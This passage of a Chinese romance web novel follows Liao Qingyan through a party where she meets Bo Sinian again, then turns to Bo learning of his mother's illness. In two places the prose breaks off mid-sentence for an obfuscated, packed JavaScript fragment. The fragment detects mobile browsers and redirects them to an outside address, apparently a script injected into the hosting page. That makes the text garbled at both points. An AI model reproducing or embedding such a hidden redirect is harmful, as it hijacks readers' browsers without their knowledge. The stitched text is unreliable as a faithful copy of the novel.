吴管家倒了一杯温水过来,廖清焰喝着水,环视四周,放晴之后,这空间流动着淡暖的光,让她想到把脸凑到被太阳晒过的干净的床单上的那个瞬间。 “……薄司年已经走了吗?” “薄总上午有会,先走了。”吴管家笑说,“薄总说,那个要求,廖小姐如果考虑清楚了,任何时候都可以联系他。” “嗯。好。” 放下水杯,廖清焰注意到餐桌上放了份报纸。 这年头看报是件彻底的稀罕事。 报纸被翻到了文化板块,整个版面都在报道同一件事:著名小提琴家司静鸥全球演奏会霁城站圆满落幕,与别站有所不同,司静鸥还邀请了同为霁城人的另一位著名小提琴家檀知易,一同合作了施波尔的双小提琴协奏曲。 鲜有人知的是,檀知易少年时期,曾跟从司静鸥学习过一段时间。今日师徒同台,堪称佳话。 刊载的照片,便是司静鸥与檀知易同台的画面。 廖清焰跟着周琎在圈子里混了这么多年不是白混,司静鸥是薄司年的母亲,她知道。 其实待久了就清楚,这个圈子里没有秘密,每个人的家庭出身、财富地位,都会被拿出来品评估价,加减乘除,最后算下来排在什么位置,一目了然。 薄司年父亲薄云舟是小有名气的画家,母亲是小提琴家,只不过两人在薄司年出生之后没多久就离婚了,有传闻是男方出轨。薄司年由祖母抚养长大,在国外念完研究生,实习了一年半,归国帮助祖母打理企业,主要负责转型板块的工作。 而照片中的另一位,檀知易,碰巧她也认识。 圈内廖清焰统共就两个真正的好朋友,一个周琎,一个檀若微。檀若微是檀家收养的女儿,是檀知易没有血缘关系的妹妹。 廖清焰同檀若微往来密切,但见檀知易的次数不多,后者常有演出,在国外生活的时间偏多。 檀知易一路顶着“神童”的光环成长起来的,13岁就获得梅纽因大赛的冠军,并考入了柯蒂斯音乐学院。 廖清焰久久盯着照片里同台的师徒两人,没有想到,居然在这里拾得一块关于薄司年的关键拼图。 只是……和她有什么关系呢,她除了继续远观,什么也做不了。 怔忡之间,佣工把煮好的馄饨端了过来,廖清焰回神,把报纸阖上,腾出位置。 吃完,吴管家便去为她备车。 趁着吴管家离开客厅,廖清焰踱步,又将这个空间环视了一遍。 她突然想到很久之前看过的《戏梦巴黎》,女主看的某部电影里的人,会跟屋子里的家具拥抱告别。 靠沙发放着一盆绿植,陶土的花盆里堆满了白色碎石。 她往门口瞥一眼,吴管家还没进来。 迅速弯腰,从花盆里捡了一粒石子,不动声色地揣进了提包的内袋。 希望薄司年不要发现,他的家里失窃了一枚石子。 / 廖清焰住在老城区,三面环围的平房,中间是个天井。 房子的业主是赵奶奶,她自己占了一间,别的都租了出去,租金不高,租客都是刚上班不久的年轻女性。 廖清焰住得最久,最开始是租了个小间,后来就搬到了最大那一间。 中午阳光好,赵奶奶坐在天井处晒太阳,小凳上放着剥了一半的橘子,手里捧着的电子书还在朗读,但人已经打起了盹儿。 廖清焰没把人吵醒,找了张毛毯给她搭上,回到房间,给手机充上电,又打开了笔电。 一边拿笔电浏览微信消息,一边把电话回拨给了周琎。 “……去哪了啊,微信不回,电话不接。” “有事吗?”廖清焰趴在枕头上,手指在触控板上滑动。 “关心你不行?” “你求婚怎么样呀,成功了吗?” “嗯。” “怎么听着不高兴呀。” “没什么高兴不高兴的。”周琎似乎不大想聊这个话题,“你昨晚去哪儿了?本来想喊你出来,给你过生日。” “找了个极品帅哥睡了一觉。” “……”周琎无语,“清焰,你能不能不要随时随地乱开玩笑,跟你说认真的。” 廖清焰笑笑,“我说了不过生日的。” 周琎没继续纠结这个,“以后消息能不能及时回?没空哪怕回个句号都行。” “好好,知道啦。” 电话里静了数秒,周琎又说:“虽然我跟虞亿宁……但这不影响,我们永远会是朋友。你也不用顾忌什么,该怎样怎样。” “我都被泼了一身的汤哎,还怎么好意思继续抛头露面,我不要面子的吗。” “……我真是多余关心你。” “真关心我就给我介绍大帅哥,要比薄司年那种还帅的……” 周琎直接把电话挂了。 廖清焰笑笑,将手机扔到一旁。 敲键盘,回了会儿消息,忽然就停下了动作。过了许久,才意识到自己在发呆。 贪嗔痴,贪在首位,人为什么是这样一种可悲的动物,得到的那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17471311|201496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一刻告诉自己再无遗憾,可下一刻,又生出更多的不满足。 廖清焰叹声气,把手机摸过来,打开社交网站。 薄司年当然不玩任何社交网站,以前借周琎的手机发微信,顺势偷偷点进薄司年的账号,他朋友圈也不发。 但总能在圈里其他人的账号,在图片的边边角角刷到他的身影。 为此廖清焰把圈里人加了个遍,无聊时就高强度巡逻,像松鼠囤积松果一般,囤积各种边角处的薄司年。 昨晚到现在,这么长时间没上线,一刷新,像解压了一个压缩包,照片多得刷也刷不完。 大多数都很无聊。不事生产的少爷小姐们,在社交之后,留下一些展示人脉的电子垃圾,停留超过半秒都属于浪费生命。 刷得想要翻白眼的时候,廖清焰手指一顿。 有人发了同虞亿宁的合影,角落将吧台位置拍了进去。 恰好就是她当时看见的那一幕,薄司年微低着头,在听那位世交家的女孩子说话。 廖清焰立即爬起来,把丢在椅子上的提包拿了过来。 那枚白色石子,安安静静地躺在内袋里。 像个脚注,证明昨晚不是幻想。 / 之后的两周,廖清焰一直在忙,忙到差不多了,去了趟芦花路。 在现今服装行业产量完全过剩的时代,还有一些坚持手工的高级裁缝店,悄然隐匿于古旧的街巷之中,成为城市的肌理。 廖清焰进去时,梅老师正戴着老花眼镜,在小号的竹篾簸箕里挑拣纽扣。 梅老师抬头瞥她一眼,语气淡淡地说道:“你来多少回,我都是这句话,想在我这儿学徒,一周出勤五天是必须的,小廖你太忙了,你不适合。” “我知道。”廖清焰笑一笑,“其实……我最近可能准备离开霁城了,今天是我最后一次来。我缝了条裙子,想请梅老师您帮忙看看。” “你要去哪儿?” “不知道……还没想好。” 梅老师没作声,手指拨弄了一会儿,把簸箕一放,朝廖清焰伸手。 廖清焰立即笑吟吟从纸袋中取出裙子,递给梅老师。 梅老师走到窗边,眯眼细看。她看衣服先看针脚,针脚不好,东西也好不到哪儿去。 “还行。过得去。”梅老师一个裁片一个裁片细致地看过去,最后把裙子展开,整体又看了一遍,拿到廖清焰面前,边指边说:“省尖的位置都对,但你的省道是‘死’的,不要缝到头就回针。下回缝到距尖点两针的时候,换细针,放松面线,让最后两针自然消逝,省尖就不硬了,洗三次也不会起小窝。” 廖清焰听得连连点头。 梅老师瞥她,“我看你账号都几十万粉了,做你们所谓的自媒体也挺好,挺赚钱的。为什么老想来我这儿做学徒呢。” 廖清焰大学学的是服装设计,读书时就开始经营自己的账号,自己缝制衣服,做变装视频,几年下来,积累了几十万的粉丝。 她很需要钱,正常的工作挣不到那么庞大的数目,所以除了做账号接商务,还会接一些拍摄类的工作。 廖清焰微笑:“我妈以前是您这儿的常客。” “你妈妈是?” “姓蒋,蒋蕙,不知道您有没有印象。” “你是……你是蒋女士的女儿?”梅老师很是惊讶,扶了扶眼镜,细细打量。 “嗯。我其实跟我妈妈来过几次,我高一的时候。” “后来你们怎么没来了呢?” “家里……发生了一些事。” “那你妈妈现在?” “她去世了。我高三的时候。” 梅老师“啊”了一声。 室外的车水马龙被门掩上了,屋内一时静默,梅老师手指几分无措地抚摸挽在臂间的长裙,“怎么不早说呢,早说我早就……” 廖清焰笑一笑,“我知道您要求严格,这是两码事。” “……你有空就过来吧。” “我要离开霁城了……” “总不是马上走?你走之前,有空就过来。”梅老师把裙子塞回她手里,顿了一下又拿回来,“我刚刚讲的,你都听懂了没有?要不要我示范给你看看?” “要要要!”廖清焰忙说。 廖清焰跟着梅老师走到了缝纫机旁,看她取了剪刀,开始拆腰侧省道。 “怎么要离开霁城呢?”梅老师关切问道。 “……发生了一些事,再待下去没什么意思。” 周琎求婚成功,她再以他的名义进进出出,可能会让他难办。周琎和虞亿宁,虽然是心知肚明的利益联结,求婚之前,有些事虞亿宁不会计较,但之后则不一定。 经过生日那一晚,有些遗憾已经被满足,不管多难,她该试着放下了。 这里是“霁城”,她的世界不能一直下雨。 7.07.头彩 廖清焰的自媒体账号,主做变装,跟一些一秒从素颜切换到全装的风格所有不同,她会加入自己制衣的过程。 譬如她数据极好的一支女将军选题的视频,第一镜将一块红布披身上,第二镜衣裳初具雏形,第三镜披风、铠甲、银枪齐备,最后便是旌旗猎猎、眼神肃杀的全方位展示。剪辑配合音乐卡点,节奏利落,观赏性强,完播率极高。 此外,她还有个小号,主更自己制衣的过程。一个选题,两种吃法,唯一缺点就是很累,又要做衣服又要拍摄,几乎一个月才能更新一次。 但商单几乎不愁,许多手游会找她合作,出角色cos性质的视频。 更完一期商单,廖清焰累得半死,抽空去了好友檀若微那里一趟。 檀父檀母要办结婚三十周年的纪念酒会,檀若微请廖清焰帮忙挑选当日要穿的礼服。 檀若微虽是养女,享受的待遇与亲生没有任何不同,兄长从事艺术行业,檀家事业需要人打理,而她碰巧有这方面的天赋,大学毕业以后,就开始被当做继承人来培养。 两人有一阵没见,见面许多话要聊,檀若微进门水都没喝一口,就拉着廖清焰一头钻进了衣帽间。 衣服刚运到,檀若微也没看过,她一件件取下来,在身前比划,“你微信上跟我说,考虑离开霁城?” “嗯。” “准备什么时候走?” “房子还有几个月到期,然后六月份你生日……”廖清焰掰着手指,在心里补充,还有5月23日薄司年的生日,“……我肯定会等你生日之后再走的。” “那你走不了。”檀若微一针见血,“提前这么久就开始声张,就是因为不想走。真正想走,可能一声不吭就走了。” “……”廖清焰有些心虚。 和廖清焰有时候全凭冲动和直觉行事不一样,檀若微是一个理智到有些冷酷的人,否则也不会被家里寄予厚望。 “霁城机遇多,你人脉也都在这儿,如果不是实在待不下去,我不建议你走。”檀若微转头打量廖清焰,“你不会真的被周琎的事打击到了吧?我听他们议论,说你现在聚会都不参加,是躲起来疗情伤了。周琎这个人……我客观评价,假如按照伴侣的标准来要求,我认为他缺乏一些基本素养。” “他们乱说你也信,我只是怕周琎夹在中间难办。” “虞亿宁不是省油的灯。她能忍你到现在,是因为一来她跟你计较会显得她不够有气度,二来她需要一个手下败将,给周琎的求婚增加一些含金量。” “那她高看我了,我没有这样的竞争力。” “美貌这种基因彩-票就是核心竞争力,只是你没有最大化利用。”檀若微并不是恨铁不成钢,她和廖清焰能成为朋友一是出身类似,二是是性格投契,只不过她或许稍显幸运。她最喜欢的,就是清焰身上不够有企图心的这一优点,换言之清焰很真诚,只要不先去招惹她,永远可以百分百放心,绝对不会被她算计。 “那小檀总教教我,应该怎么利用?”廖清焰在沙发上坐下来,拿一个抱枕抱进怀里,笑问。 “我们这个圈子,女孩子择偶面很窄的,卖鞋的配卖衣服的,卖酱油的配卖大米的……女方还要上择,可选范围就更窄。互相较劲的同时,还必须提防一些变量。漂亮就是最大的变量。不然为什么有些女孩子家里都那样有钱了,还要去医美整容。大家所谓的看你笑话,其实更多是出于危机感的本能防御。像你这样的漂亮小网红,其实在雌竞市场,比她们更有竞争力。天王不知道自己老婆是假名媛吗?但那有什么关系,漂亮听话能生就行。在我们这个圈子里,美貌想要变现,纯粹考虑利益最大化,那当然就是不计一切地找一个能够得着的条件最好的男人。” “但这不就完全是把人物化了吗?” “所以我说,这是纯粹利益最大化的打法。”檀若微说,“你就是不够功利,所以围着周琎傻转了这么多年,什么好处都没捞到。” 廖清焰无意识捏着抱枕,笑了笑,没有解释。99%的事情,都能同檀若微坦白,但喜欢薄司年这件事,恰好在那1%里面。 “那若微你呢?你也会需要像周琎这样……” “我不知道。”檀若微神情平静,“没有我选择的余地。如果檀家要我结婚,我会。” 廖清焰沉默下去。 檀若微选衣服也极有效率,二十多条裙子,每过一次,就留下一半,最后剩三条进决赛圈,叫廖清焰帮忙参谋。 檀若微取下一条黑色缎面连衣裙,上身比了比,蹙眉,“……这什么衣服,后背都开叉到腰了,怎么穿。” “版型很漂亮呀。酒会可能不合适,但外面套件西装,约会蛮适合的。你想想看,和crush出去吃一顿漂亮饭,回程的时候说喝了酒有点热,把外套脱掉,车子启动,借惯性靠过去,他的手肯定会搂上来的吧……” “你脑子里都是些什么乌七八糟的东西。”檀若微绷着脸,把裙子扔到了一边。 片刻,又捡回来,扔到廖清焰膝盖上,“送你了。” “……我派不上用场。” “那就想办法用上,不要再围着周琎打转了。”这一次是真的恨铁不成钢。 廖清焰真是哭笑不得。 衣帽间门被叩响。 檀若微没有回头:“请进。” 敲门的是檀知易,门打开,他并不往里走,就站在门口,微笑问道:“在挑衣服吗,若微。” 檀若微倏地转身,几分惊讶,“哥……不是说明天才到。” “没什么事,改签提前回来了。”檀知易向里看一眼,看见了廖清焰,微笑颔首打声招呼,又对檀若微说道,“你和朋友先玩,我先去洗个澡吃点东西。” “好……” 檀知易提步欲走,又顿住,“过几天姜宇办暖房派对,叫我邀请你去玩。清焰有空的话,你们可以一起去。” 檀若微“嗯”了一声,“你会去吗?” “我的朋友,我当然会去。”檀知易笑一笑,“我先下去了。” 檀知易走出去,反手为她们带上门。 檀若微继续挑衣服,将手中这一件挂回,半刻,像是反应过来这件是需要被淘汰掉的,又赶紧取出,丢掷在一旁。 廖清焰盯着她,忽说,“挑好了我就先回去?” “……嗯?” “我有点累,这两天一直在拍视频。” 檀若微说好。 十来分钟,两人效率极高地确定了酒会当日穿着。下楼,正好檀知易洗完澡,去厨房叫人做吃的。 廖清焰适时离开。 / 檀若微兄长那位叫做姜宇的朋友是个作家,廖清焰其实也不怎么喜欢参与文化人的聚会,受不了一些人拿“文化”自抬身价、彰显品味。 但这一次的聚会,倒出乎意料的清爽,没谁卖弄学识,大家要么撸猫撸狗,要么玩桌游,要么跟着做烘焙。 廖清焰本想参与桌游,受不了烘焙区那边持续散发的甜香的引诱,将位子让与檀若微,当场倒戈。 正在哼哧哼哧打发蛋液,有个女生凑了过来,手臂撑着岛台,一手托腮,一手举起,屈一屈食指和中指,当做打招呼:“嗨,清焰,好久不见。” 其实最开始,他们给廖清焰起了个英文名叫“Cherry”,不知道是谁取的,大家都这样叫起来。 廖清焰也就给他们取英文名,这个叫“Tony”,那个叫“Dick”,这个叫“Candy”,那个叫“Fanny”,人家一纠正,她就装傻,哎呀我这个破记性,你说你叫Charles是吗?好有贵族气息呀,我说呢,你怎么可能会叫Tony这种名字呢。 于是很快,大家就不这样叫她了,甚至也很少再互称英文名。 混圈久了,廖清焰单凭语气就能分辨对方是善意还是恶意,她没有太大反应:“是呀,好久不见。” “清焰最近在做什么呢?” “足不出户,以泪洗面,顿顿吃垃圾食品,满脸爆痘,都胖了好多斤呢。” 女生的表情一下子变得十分难看。 真是奇怪,她只不过是说出了她心中歹毒的愿景,怎么她就像是被深深冒犯了一样。 女生没有立即被劝退,沉默了片刻,眼睛上上下下地将廖清焰打量了一圈,又说:“清焰你这条裙子是哪个牌子的,和Alexander McQueen的一条爆款裙,感觉有点像呢。” “这不是McQueen的,是 Lorenzo De Medici 的作品。你没听过他?嗯……也正常,他是个新人,可能我们学服装设计出身的人才知道他。他去年才从中央圣马丁硕士毕业,毕业秀被Miuccia Prada直接买走了三套look。今年刚在佛罗伦萨的Pitti Uomo做了特别展场,《Vogue》意大利版把他评为‘下一代文艺复兴剪裁的继承者’,说他用现代技术解构了美第奇时代的袍服结构……你看这个裙摆的设计,其实是在复刻波提切利《春》里花神的长袍褶皱。” 女生呆了一下,“……是吗? “嗯。”廖清焰煞有介事,梦到哪句说哪句,“你说的那条McQueen的裙子,我记得是2023年的吧。其实Lorenzo在2021年的伦敦时装周就发布过类似的廓形概念了,只不过那是场线上静态展,你可能没刷到过。他特别低调,连Ins都没开通。但他背后是一位老牌佛罗伦萨皮具家族的继承人在投资,下季就要上巴黎时装周的官方日程了……” 额发垂落,廖清焰抬起手背捋了捋,一抬眼,蓦地顿住。 这房子是挑高的客厅,沙发后方,做了一面气势恢宏的书墙。 房主,也即那位作家姜宇,就站在书墙前面,似在介绍什么。 薄司年站在他对面,抱着手臂,稍稍斜靠书墙而立。他穿着一身黑色,皮肤被衬得格外苍白,出现得这样无声无息,简直像一道幽灵。 他微垂着眼,仿佛正在认真听作家讲话。 可廖清焰看过去时,却不偏不倚地与他视线对上了。 感觉不出一丝情绪的目光,看着她,好像同看岛台上的水壶,没有两样。 三周了,有意避开薄司年的一切消息,猛然碰见,廖清焰还是听见自己心脏突跳了一下。 她光顾着说话,都没有注意到他是什么时候进来的,又站在那里多久。 对面女生似在疑惑她怎么突然住了声,准备顺她目光望过去。 她立即收回视线,心里有些慌,也没心思胡扯了,抱着碗,平静地转过身去,假装去流理台上找东西。 这时候,听见坐在沙发区的檀知易喊了一声:“司年。” 廖清焰拿了一个鸡蛋,又放下了,打开橱柜门,又一下关上,一时间忙得不得了。 最后找到一袋白砂糖,打算称量,借机偏头望去,看见檀知易从沙发上站了起来,朝薄司年走去,一边笑说:“还以为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17473868|201496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你不会来了。” 薄司年淡淡地“嗯”了一声。 “玩什么?”檀知易向着沙发那儿扬了扬下巴,“桌游?” 薄司年没说好与不好,朝着沙发走去,那上面的人纷纷站起来给他让座。 整一条沙发,等着他随意选坐,他在靠近岛台方向的扶手位坐了下来。 大家把茶几上的桌游地图,向着他的方向挪近。 檀知易递过骰子,薄司年摇了摇头,“你先玩吧。” 檀知易知道他的脾气,也不勉强,“那下局重新开始你再来。”说完挨着檀若微坐下,继续游戏。 姜宇倒了杯水,递给了薄司年,薄司年接过,暂且没喝,搁在了手边的金属边几上。 薄司年参与任何聚会都显得很游离,但所有人都会自觉注意不会真叫他脱离中心。 廖清焰以前思考过这件事,觉得这样或许也很累,一个人太过瞩目,就很容易成为他人欲望或者期许的载体。而这种时候,他就变成了一个符号,他本人的意志,已经不再重要。 此刻,大家一边玩着桌游,一边不时尝试将薄司年拉入话题。 他应得很敷衍,但他拥有再敷衍也不会得罪他人的特权。 岛台离沙发扶手不远,一抬眼便能看见薄司年侧坐的身影,为了不使自己有时间望过去,廖清焰一直在忙碌,已经不知道自己在忙什么。 “清焰,糖加太多会很难打发哦。”今日的“烘焙体验课”,是姜宇的女朋友组织的,一个高挑温柔的女孩子,对待多基础的错误都耐心有加。 “嗯,我……我应该怎么补救?” “可以补加蛋液。”女孩笑说,“不过要不要先休息一下?我烤了一炉饼干,马上就好了。” 廖清焰手里拿着的打蛋器,不知道该放还是不放。 沙发上的檀若微此时向廖清焰招了招手,“清焰,过来替我一下,我去打个电话。” 廖清焰只好放下东西,洗了个手,走了过去。 檀若微坐得离岛台这一侧的扶手更近,但廖清焰特意从沙发后方穿过,绕远路从另外那侧走到檀若微跟前,接替了她的位置。 右手边是檀知易,檀知易的右边,便是薄司年。 廖清焰目视前方,微微躬身,检查自己的手牌。 这是个地下城主题的桌游,策略性比较高,廖清焰中途参与,不熟悉檀若微的手牌,只能乱打。 她随意取出一张“火焰箭”,檀知易笑说:“不再考虑一下吗?” 游戏是组队机制,檀知易和檀若微是一队,考虑到队伍利益,廖清焰决定听从檀知易的建议,“打什么比较好?” “可能‘裂地重击’更好。”檀知易说。 廖清焰从牌堆里找出“裂地重击”,正要打出去,忽听从檀知易的右方,传来毫无波澜的一句:“你们收益至少损失30%。” 廖清焰一顿。 檀知易转头笑问:“那应该打哪张?” 薄司年正在喝水,此刻动作稍停,将玻璃杯轻放于茶几上,微微躬身,伸臂。 越过檀知易,手指轻点廖清焰右手边牌堆中的“荆棘囚笼”。 廖清焰的手正按在“裂地重击”上,与他的手指距离不过三厘米。 廖清焰屏住呼吸,仍然保持目视前方,视线一分一毫也没有朝右边偏移。 檀知易笑说:“确实这张更好。” 看见薄司年手指移开了,廖清焰拿上那张“荆棘囚笼”,丢入战斗区域。 有人玩笑抗议:“你们开挂。” 檀知易笑:“不服封号?” 依次打下去,一圈之后,又轮到廖清焰和檀知易这一组。 檀知易打出一张‘寒霜陷阱”,便又轮到廖清焰。 檀知易替她征求薄司年的意见:“‘亡灵召唤’?” 薄司年不语,似在思考。 檀知易忽说:“不如你来……” 廖清焰却比他更快起身,向着薄司年微微一笑,“麻烦替一下,我去趟洗手间。” 廖清焰离座迅速,几乎没给任何人反应时间。 穿过客厅与走廊,去往另一侧的洗手间。 廖清焰滞留很久,脑中飞速计算偷偷溜走的可能性。 不明白自己什么时候运气变得这样好,久不出来社交,一来就能正中“头彩”。 预计檀若微应当打完电话了,廖清焰走出洗手间。 穿过走廊,拐角处,一道身影走了过来。 她立时顿步,又意识到这反应不对,复又提步继续往前,向着来人露出一个很淡的笑,那种面对相较于陌生人熟上一两分的熟人,应当拥有的略显尴尬的客气。她认为自己拿捏得相当不错。 薄司年没有任何表情。 预料之中的反应,廖清焰不在意,往旁边让了半步,正要与他错身。 “考虑好了吗。” 廖清焰身影一滞。 薄司年把头低了下来,注视着她。 客厅与厨房处笑闹声传来,与他们只隔一个拐角,被薄司年挡在了身后。 廖清焰心跳错漏不止一拍,想要张口,心脏仿佛阻塞喉咙,什么也说不出。 低垂的视线里,看见薄司年往前迈了半步。 灯在头顶,被他遮去,熟悉的香气涌入鼻腔,这一瞬间她感觉好像回到了那个落雨的生日夜,被藏匿进了他的影子里。 “不认识了,流浪猫?”薄司年再次出声。 8.08.良夜 廖清焰藏在头发下的耳朵一下子烧得通红。 其实那天回去,一周多的时间,脑子只要一有空,同薄司年耳鬓厮磨的那些细节,就会像天线搭错一样,毫无预警地浮现。 她有时候会“哈”一声把那些画面吓退,有时候会一个片段一个片段地慢慢回味,后者通常发生在夜深人静的时候。 好不容易不会再轻易想起,薄司年一个称呼将她打回原形。 可是她又没有办法谴责,他的语气一点也不轻佻,甚至调侃的意思也没有,“西兰花”、“遥控器”,一般人称呼这些物件是什么语气,他说“流浪猫”三个字,就是什么语气。 “我没有装不认识……”廖清焰很勉强才使自己露出笑容,虽然拔腿就跑才是她的第一反应,“只是……我们本来就不熟,对吧?” 薄司年没有出声。因是低头,眉目陷于淡灰色的阴影,他原本便时常面无表情,此刻更好似多出一些冷意。 廖清焰继续解释:“……如果我突然跟你打招呼,不会很奇怪吗。” “是吗。”薄司年语气冷淡。 廖清焰局促极了。 她以为装作不认识会是薄司年的默认选项,也是他们心照不宣的默契。 至于那个“要求”,她从不觉得薄司年亏欠自己,自然没有一秒钟真正考虑要将它兑现。 薄司年旧话重提,她只能猜测,或许他觉得彻底收尾,他们才能完全两清。 但她真的别无所求。 廖清焰沉默,薄司年也并不出声催促,仿佛时间在他这里有得是。 廖清焰再三思索,开口:“我考虑……” 薄司年后方忽有脚步声传来。 廖清焰立即住声,后撤半步,往旁边让了让,不甚自在地捋了捋头发,“……我先走了。” 与他擦臂而过,快步越过拐角,回到客厅。 桌游第一局已经结束,茶几也收拾出来,摆上了姜宇女朋友烤制的各种点心。 檀若微向她招招手,往兄长的方向挤了挤,腾出一个位子,喊她去坐。 点心种类丰富,抹茶史多伦、香草栗子玛德琳、斑斓果干费南雪、豆粉焙茶曲奇、茉莉茶黄油饼干,可可洋梨磅蛋糕……每一个分量都不大,此外,还配了红茶和乌龙茶,方便自取。 廖清焰一个甜品脑袋,看见这样的满目琳琅,心花怒放。 她每样都尝了一点,尝过三四样时,余光瞥见薄司年走了过来,姜宇起身让位,薄司年坐下。 坐在她的斜对面,隔着坐在拐角处的一个人。 廖清焰端起小杯乌龙茶,垂眸喝茶,以最小幅度的动作拿取白色骨瓷盘中的点心,尽量降低自己的存在感。 这些点心几乎征服了在场的所有人,大家连夸好吃,味道不甜,多吃也不腻。 之所以说“几乎所有”,是因为廖清焰看见薄司年只拿了一杯茶,点心一样也没碰。 廖清焰全部尝过,最喜欢豆粉焙茶曲奇,显然不少人皆有同感,装曲奇的盘子,眼看着一点一点少下去,很快便只剩下两块。 廖清焰伸手,正要再拿一块,看见有两人先她一步伸手。 其中一个是薄司年。 这一盘消灭得这样快,她一人做了最大贡献,自然也不好意思抢了。 伸到半途的手改道,正欲伸去端茶杯。 却见薄司年手指一停,定在焙茶曲奇上方,片刻收了回去。 廖清焰微讶,看一看盘子里被他放过的曲奇,忍不住抬眼望去,没有料到会直接撞上他的视线。 目光并无太多意味,好像只是某种客观的存在——视线总要有个落点,而他只在今天这十来个人中,恰好选中了她而已。 廖清焰立即垂眸避开,端茶杯啜了几口。 盘子里的那块曲奇,尚没有被其他人拿走,但再等一等,也许就说不定了。 廖清焰纠结得挠心挠肺,稍稍抬眼,拿余光偷瞟斜前方,薄司年正在听坐在对面的某人讲话。 廖清焰迅速地拿起曲奇,塞进嘴里。 而就在这个时候,薄司年转头看了过来。 她几乎噎住。 薄司年目光不错地盯着她,直到她满面通红,他才终于转过头。 姜宇的女朋友这时候注意到盘子空了,笑说:“是不是大家没吃尽兴?每一样都只烤了一盘,真是不好意思。” 姜宇手臂往女友肩上一搭,“这她店里的明星产品,没吃够的都自己去下单买。” “店名叫什么?”有人问她。 “是微信上的一个小店,可能不好搜,可以扫这个二维码……不过我比较懒,做的数量不多,经常缺货,大家有特别想吃的,直接微信找我吧,我可以现做,给大家发同城。” 廖清焰问:“可以加你微信吗?” “可以呀。当然可以。” 扫了码,验证当场通过,对方微信头像是个番茄,她说她姓樊,称呼她“番茄”或者“小番”都行。 小番是姜宇刚刚交往不到两个月的女朋友,今天也是第一次参与这么多人的聚会,和大家都不熟悉。 她捏着手机,几次打量廖清焰,看得自己都不好意思了,于是直接问道:“请问,你是不是那个……小火五月?我看你微信名也是小火。” “是我。”廖清焰大方承认。 圈里的人大部分都知道她的ID,不过他们吝于关注,可能觉得这种小打小闹的“奇巧淫技”,用来谋生显得有些心酸。 “我有关注你和你的小号。”小番笑说,“我好喜欢你小号的内容,很下饭很解压。我可以跟你拍张照吗?” 两人不好意思当这样多人的面自拍,便起身走去了岛台方向。 拍了三张,廖清焰来了一个电话,是梅老师打来的。 小番同她比个“OK”的手势,“你接,我可以了。” 廖清焰往里走了走,接通电话。 有个客户的宴请活动改期了,订单临时加急,梅老师预计一个人做不完,问廖清焰是否有时间,过去帮两个小时的忙。 自上次以后,廖清焰没有拍摄工作就会往芦花路跑,她住的地方小,缝纫机施展起来总是掣手掣脚,梅老师叫她就去店里做,空间大,什么材料都有,她没事也能给梅老师打下手,一举两得。 廖清焰抬眼看了看,沙发那里,不见了薄司年的身影。环视一圈都没看到,不知道去了哪里。 不过继续待着又能做什么,心里老是七上八下。 廖清焰答应下来,说现在就往店里去。 挂断电话,她跟姜宇和檀若微打了声招呼,说有点事先走了。 薄司年在书房。 方才檀知易找他,说单独找个地方,有件事想跟他谈一谈。 檀知易一年有一半的时间活跃于欧洲,与司静鸥的轨迹常有重合。 “前一阵我跟司老师同台演出,在休息室,我看见司老师在看一份检查报告。前几天在香港转机,正好又碰到了,我听见她助理跟主治医生打电话,医生催促她最好尽早入院做手术。” “什么病?” “具体不清楚。原本如果今天你不来,我也会去找你聊这件事。司老师今年的全球巡演刚刚开始,以她的性格……” 薄司年淡淡地说:“你高估了我的话语权。或许你劝都比我管用。” 檀知易一时不知如何接话。 “谢谢你告诉我。我会打个电话问一问。” “好。” 檀知易因小时候在司静鸥那里学琴,跟薄司年有些交情,但来往并不密切。两人除了司静鸥的事,也没有其他的共同话题。 自觉气氛不尴不尬,没有继续聊下去的必要,两人离开书房,回到客厅。 客餐厨的主照明关了,姜宇打开了投影,大家正在看他第一次参与编剧,定档八月的电影预告片。 薄司年随意找个位子坐了下来,昏暗里挨个辨认轮廓。 少了一个人。 预告片播完,灯打开,薄司年再度环视四周。 “你朋友呢?” 檀若微正低头发消息,闻声抬头,发现真是薄司年在同她说话,答道:“她有事先走了。” 薄司年没再说什么。 檀若微觉得奇怪,这两个人素无交集,怎么薄司年会打听清焰的下落,“你找她有事?” “没有。” “……”檀若微是真讨厌这个人,冷漠傲慢,每次跟他打交道都觉得要折寿。 有人提议打德州,响应者众。 姜宇笑问薄司年要不要玩,圈里公认薄司年水平最高,他这个人,只要愿意,似乎什么都能玩到顶尖水平。 “下回。”薄司年起身,“有事先走了。” 他这突然而来,突然而去的个性,大家早已见怪不怪。 薄司年不喜人送,姜宇同他客套了两句,止步于客厅大门。 四月天暖,雨水也少。 薄司年穿过前院走到门口,站了站,见远近无人,往停车坪走去。 今日薄司年自己开车过来,上车,先没启动车子,拿出手机给汉娜拨去电话,询问司静鸥的情况。 汉娜惊讶于薄司年这样快得到消息,她分明没告诉给任何人,“是子宫肌瘤,三个月前就发现了。B超复检增大了,医生建议赶紧做手术。但演出都是提前确定好的,司老师不愿意取消。” “你们下一站演出是A城?” “是。” “我过来一趟,你协调时间,我跟她见一面。” “恐怕……” “不是在和你商量,Hannah。你应该清楚你劝不动她。” 汉娜沉吟:“好。我来安排时间。” 时间尚早,回家也无事消遣,薄司年驱车,去往章英侠那里。 长辈见面先问饥寒,薄司年说不饿,章英侠还是叫保姆切来一个果盘。 